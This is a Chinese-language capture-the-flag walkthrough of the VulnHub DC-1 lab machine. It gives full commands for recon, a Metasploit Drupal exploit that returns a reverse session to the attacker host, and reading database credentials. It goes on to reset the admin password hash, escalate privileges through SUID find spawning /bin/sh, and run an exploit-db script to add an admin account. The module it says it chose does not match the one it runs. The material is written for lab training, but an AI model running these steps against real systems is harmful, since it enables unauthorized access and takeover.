下载地址:https://www.vulnhub.com/entry/dc-1-1,292/
基本信息
Kali:192.168.56.116
DC1:192.168.56.115
实验过程
现在Kali中使用arp-scan进行主机探活
sudo arp-scan --interface=eth1 192.168.56.0/24
逐个排查发现DC1的IP地址为192.168.56.115
然后使用nmap对主机进行探测
nmap -sC -sV -A -oA vulnhub/DC1/DC1 192.168.56.115
主机分开开了:22,80,111端口
我们先从80端口入手
可以发现网站是Drupal cms管理系统
我们启动msf,搜索下Drupal可用的EXP
msf6 > search Drupal
这里我们选用exploit/unix/webapp/drupal_drupalgeddon2
因为他是最新的,而且品质为excellent
msf6 > use exploit/unix/webapp/drupal_coder_exec
msf6 exploit(unix/webapp/drupal_coder_exec) > show options
msf6 exploit(unix/webapp/drupal_coder_exec) > set RHOSTS 192.168.56.115
msf6 exploit(unix/webapp/drupal_coder_exec) > set LHOST 192.168.56.116
msf6 exploit(unix/webapp/drupal_coder_exec) > run
这样我们就可以成功得到一个会话。
我们用会话返回一个shell
发现flag1.txt
查看下flag1.txt内容
给我们一个提示
Every good CMS needs a config file - and so do you.
百度drupal配置文件的位置
sites/default/files
里面可以看到数据库的账号密码,同时我们还可以看到flag2的内容说:爆破不是唯一获得访问权限方法
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
那么我们用获得数据库的账号密码登录下数据看看
这里需要注意的是,我们需要用python转换成标准的shell
否则就会出现下面的场景,进入mysql之后shell就没有反应
我们输入
python -c "import pty;pty.spawn('/bin/bash')"
mysql> show databases;
mysql> use drupaldb;
mysql> show tables;
mysql> select * from users;
mysql> select name,pass from users;
这里的密码是经过drupal加密
在scripts的文件夹中有用来算密码的脚本
但是因为靶机的环境原因会报错
明文:password
密文:$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4
接下来我们把管理员的密码重置下
mysql> update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name='admin';
然后进行登录
然后发现flag3
从flag3的内容可以看出,提示我们需要用find提权
同时我们也可以在家目录中找到flag4
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
我们使用find找下具有root权限的suid
find / -perm -u=s -type f 2>/dev/null
可以看到find是可以用来提权的
我们尝试用find执行命令
# 这里需要注意-name参数填写的文件名,是需要系统真实存在的
www-data@DC-1:/home/flag4$ find / -name flag4 -exec "whoami" \;
那么我们接下来用find提权
www-data@DC-1:/home/flag4$ find / -name flag4 -exec "/bin/sh" \;
这样我们就拿到最终的flag
额外内容
使用CVE2014-3704添加管理账号
在exploit-db中有可以直接利用的EXP,可以直接添加管理账号
地址:https://www.exploit-db.com/exploits/34992
我们在Kali上开启HTTP服务,让靶机从Kali上下载EXP
然后我们通过这个EXP创建管理账号
www-data@DC-1:/var/www$ python 34992.py -t http://192.168.56.115/ -u dfz -p ms08067
然后就可以正常登录
另一种查询具有root权限命令的find语句
find / -user root -perm -4000 -print 2>/dev/null